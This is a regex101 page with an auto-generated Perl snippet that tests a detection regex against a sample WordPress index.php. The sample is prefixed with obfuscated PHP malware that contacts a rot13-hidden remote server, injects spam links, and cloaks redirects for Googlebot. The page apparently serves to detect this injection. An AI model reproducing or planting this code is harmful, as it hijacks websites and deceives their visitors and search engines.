Regular Expressions 101

Save & Share

Flavor

  • PCRE2 (PHP >=7.3)
  • PCRE (PHP <7.3)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java 8
  • .NET 7.0 (C#)
  • Rust
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests

Tools

Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gis

Test String

Code Generator

Language

Generated Code

use strict; my $str = '<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER["HTTP_HOST"];$eMaOCtmXlSnImjmiCMmP=str_replace(\'www.\',\'\',$eMaOCtmXlSnImjmiCMmP);if(@$_GET["merdo"]){echo \'<!--SYSADMIN-->\';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists(\'curl_init\')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN["type"]=="link"||$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count($DkiJvJYOhXiunDLZIogN["links"])){$XxXBDNFNLjLqzmBZbKRY=\'\';foreach($DkiJvJYOhXiunDLZIogN["links"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.="<a href=\\"".$AXzHJsVXmlVXbzpqVwQJ["url"]."\\" title=\\"".$AXzHJsVXmlVXbzpqVwQJ["title"]."\\">".$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\\n";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace(\'{LINK_CODE_REPLACE}\',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace(\'{LINK_CODE_REPLACE}\',\'\',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match(\'#google#\',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER[\'REQUEST_URI\'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN["links"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN["links"][$rand_keys]["url"],\'/\');$url=$myurl.$uri;header(\'HTTP/1.1 301 Moved Permanently\');header(\'Location: \'.$url.\'\');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13(\'uggc://jjj.wnxxryyl.pbz/kynetr.cuc\').\'?merdo=\'.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php /** * Front to the WordPress application. This file doesn\'t do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( \'WP_USE_THEMES\', true ); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . \'/wp-blog-header.php\' ); '; my $regex = qr/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['"]http_host['"]\];\1.{0,90}?if\(\@\$_get\[["']merdo["'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['"]links.{0,110}header\(['"]location:\s*["']\.\$url.{0,100}?\)\.['"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)/isp; if ( $str =~ /$regex/g ) { print "Whole match is ${^MATCH} and its start/end positions can be obtained via \$-[0] and \$+[0]\n"; # print "Capture Group 1 is $1 and its start/end positions can be obtained via \$-[1] and \$+[1]\n"; # print "Capture Group 2 is $2 ... and so on\n"; } # ${^POSTMATCH} and ${^PREMATCH} are also available with the use of '/p' # Named capture groups can be called via $+{name}

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Perl, please visit: http://perldoc.perl.org/perlre.html